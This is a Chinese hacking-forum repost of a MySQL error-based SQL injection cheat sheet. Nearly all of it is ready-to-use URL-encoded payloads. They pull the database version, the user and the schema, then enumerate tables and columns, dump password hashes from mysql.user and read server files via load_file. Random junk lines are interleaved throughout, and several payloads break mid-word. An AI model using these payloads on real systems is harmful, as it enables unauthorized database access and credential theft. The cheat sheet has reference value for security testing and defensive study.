中国网络渗透测试联盟
标题:
Mysql暴错注入参考（pdf）
[打印本页]
作者:
admin
时间:
2013-7-27 11:00
标题:
Mysql暴错注入参考（pdf）
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
8 e$ h! |3 O. d
& G* p% l- d6 ?% c& f$ a
3 ]' |+ T6 q0 }3 G2 p* b
Mysql暴错注入参考（pdf），每天一贴。。。
! o. T: b, k- k2 Q
$ d% z. d( a4 B ~5 a6 \
MySql Error Based Injection Reference
7 i& @3 l; c# n% \+ J2 r4 \
[Mysql暴错注入参考]
( F+ s/ ~6 F6 K4 \4 D* `/ y" l
Authornig0s1992
& N l" V C8 N
Blog:
http://pnig0s1992.blog.51cto.com/
8 h- W. F3 B' Y$ D% X N
TeAm:
http://www.FreeBuf.com/
5 j6 P( Y( V. d- Q3 `" U! u8 J
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
) D" g0 Z7 h6 X6 b/ t
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
8 L5 S9 H+ U, {; x& f3 }8 i7 K0 a
查询版本:
, l3 p( Z! H% [0 p
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
8 |0 \7 g% m! j% K
join+(select+name_const(@@version,0))b)c)
" z0 I9 z8 r. Q2 k
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
# Q+ n% c) ?, U; @6 T
up by a)b)
7 ]9 m0 i0 C' E6 B
查询当前用户:
. H; u; H5 i. `6 }$ q
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
( G$ E2 b9 c' T% b
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
6 g, S8 ^4 x9 m/ H5 K$ ^! s
and(0)*2))x+from+information_schema.tables+group+by+x)a)
, |8 a/ L& m! `% t8 T* l
查询当前数据库:
& a; b4 k" I1 \. N5 ~
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
, f2 z# ?7 t6 S* d% Q! c' ]
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
0 b4 p7 u4 H# I& Z& O8 }
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
& b$ N& R. E2 i7 W1 _
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
% Z* t4 @% S9 m2 ]* [
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
( A# F+ i: P7 L0 i E7 }' J
顺序替换
) |. j$ G9 K6 w9 O+ w, M
爆指定库数目:
, C1 N+ V% l) S9 F3 y! ^6 M+ I$ e
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
6 p/ `' b% C" C* `
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
$ D. X$ y* I( a2 k Y2 }
+by+x)a)+and+1=1 0x6D7973716C=mysql
" N# N9 C8 {1 N, T3 j2 X
依次爆表:
9 M) z: S5 l/ x: K L3 b: Y
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
4 ~8 m- M& X) x, H9 k5 k
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
2 w9 Y: T5 {# {$ b c/ _
bles+group+by+x)a)+and+1=1
~/ `1 G/ f% d+ T* d' ^2 q6 U- ]
0x6D7973716C=Mysql 将n顺序替换
6 g$ Q# Q( X5 K5 R2 |7 t; r/ i3 p
爆表内字段数目:
. `7 {# v3 w# L5 s& l
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
9 H# X4 \& ~" ?4 r
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
" G4 M, _! w; d. K- V' m
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
2 F( Z4 h* k4 w6 @( P* g8 e1 x) v
依次爆字段:
- y/ E" J1 `/ @! P9 k
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
; Z4 l$ a7 J# s2 x
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
3 g6 K8 @1 [. v
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换
: p/ a% I: I. P( X0 u. t
依次暴内容:
% r d& L: ^" a) Q- q" e
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
4 g% l* m V n) r4 B3 E# D
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
* V6 n m) u* t$ g- D
将n顺序替换
3 B! t3 p7 b* A, e
爆文件内容:
# k5 W F2 y" t. w
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
% p# I4 f& T3 o% a* R/ b
from+information_schema.tables+group+by+a)b)
' [2 k; L5 w" }, j
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
+ a1 g2 ~7 a' d0 m# |% W
Thx for reading.
* q1 t1 j1 d6 f" \" R" p
1 ~; V1 |3 E6 u/ P0 o' B
不要下载也可以，
/ C' i: O3 ~" u' s
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2